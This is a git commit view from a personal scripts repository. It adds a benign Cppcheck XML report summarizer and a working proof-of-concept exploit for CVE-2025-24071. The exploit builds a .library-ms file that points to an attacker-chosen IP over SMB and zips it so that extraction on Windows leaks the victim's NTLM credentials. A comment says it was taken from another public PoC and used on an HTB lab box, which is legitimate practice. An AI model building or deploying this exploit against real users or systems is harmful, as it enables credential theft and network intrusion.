etc.git


etc

~ scripts and random things
git clone https://github.com/djnnvx/etc.git
log | files | refs | archive

commit 8c787b6ea618a13f15b40e7f6c6281600a601c6a
parent b99ffc69c5893c43eb7048f59fd2ad43a5682f98
Author: djnn <[email protected]>
Date: Mon, 6 Oct 2025 12:53:19 +0200

Merge branch 'main' of github.com:djnnvx/etc

Diffstat:
Ascripts/analyze-cppcheck | 70++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asploits/CVE-2025-24071.py | 40++++++++++++++++++++++++++++++++++++++++

2 files changed, 110 insertions(+), 0 deletions(-)

diff --git a/scripts/analyze-cppcheck b/scripts/analyze-cppcheck
@@ -0,0 +1,70 @@
+#!/usr/bin/env python3
+
+import xml.etree.ElementTree as ET
+import sys
+from collections import defaultdict
+
+def analyze_cppcheck_results(xml_file_path):
+    """
+    Parses a Cppcheck XML report, ranks findings by severity, and prints a summary.
+
+    To get XML file:
+        cppcheck --enable=all --xml <directory-with-source-code> 2> cpp-check.xml
+
+
+    Args:
+        xml_file_path (str): The path to the Cppcheck XML output file.
+    """
+    try:
+        tree = ET.parse(xml_file_path)
+        root = tree.getroot()
+    except FileNotFoundError:
+        print(f"Error: The file '{xml_file_path}' was not found.")
+        return
+    except ET.ParseError:
+        print(f"Error: Failed to parse the XML file '{xml_file_path}'. Please ensure it is a valid Cppcheck XML report.")
+        return
+
+    # Severity levels, ordered from highest to lowest criticity
+    severity_order = ['error', 'warning', 'style', 'performance', 'portability', 'information']
+    findings_by_severity = defaultdict(list)
+
+    for error_element in root.findall('.//error'):
+        severity = error_element.get('severity')
+        message = error_element.get('msg')
+        file = ""
+        line = ""
+
+        # Find the first 'location' element to get the file and line number
+        location_element = error_element.find('location')
+        if location_element is not None:
+            file = location_element.get('file', 'N/A')
+            line = location_element.get('line', 'N/A')
+
+        if severity:
+            findings_by_severity[severity].append({
+                'message': message,
+                'file': file,
+                'line': line,
+            })
+
+    print("--- Cppcheck Analysis Report ---")
+    print(f"Found {sum(len(v) for v in findings_by_severity.values())} total issues.\n")
+
+    for severity in severity_order:
+        if severity in findings_by_severity:
+            findings = findings_by_severity[severity]
+            print(f"[{severity.upper()}] - Total: {len(findings)}")
+            print("-" * 25)
+            for finding in findings:
+                print(f"  - {finding['message']}")
+                print(f"    - File: {finding['file']}:{finding['line']}")
+            print("\n")
+
+if __name__ == '__main__':
+    if len(sys.argv) < 2:
+        print("Usage: python analyze_cppcheck_results.py <path_to_xml_file>")
+        sys.exit(1)
+
+    xml_file = sys.argv[1]
+    analyze_cppcheck_results(xml_file)
diff --git a/sploits/CVE-2025-24071.py b/sploits/CVE-2025-24071.py
@@ -0,0 +1,40 @@
+# originally found here: https://github.com/0x6rss/CVE-2025-24071_PoC
+#
+# used for the following box: https://djnn.sh/posts/certificates_fluffy.htb/
+
+import os
+import zipfile
+
+def main():
+    file_name = input("Enter your file name: ")
+    ip_address = input("Enter IP (EX: 192.168.1.162): ")
+
+
+    library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
+<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
+  <searchConnectorDescriptionList>
+    <searchConnectorDescription>
+      <simpleLocation>
+        <url>\\\\{ip_address}\\shared</url>
+      </simpleLocation>
+    </searchConnectorDescription>
+  </searchConnectorDescriptionList>
+</libraryDescription>
+"""
+
+    library_file_name = f"{file_name}.library-ms"
+    with open(library_file_name, "w", encoding="utf-8") as f:
+        f.write(library_content)
+
+
+    with zipfile.ZipFile("exploit.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as zipf:
+        zipf.write(library_file_name)
+
+
+    if os.path.exists(library_file_name):
+        os.remove(library_file_name)
+
+    print("completed")
+
+if __name__ == "__main__":
+    main()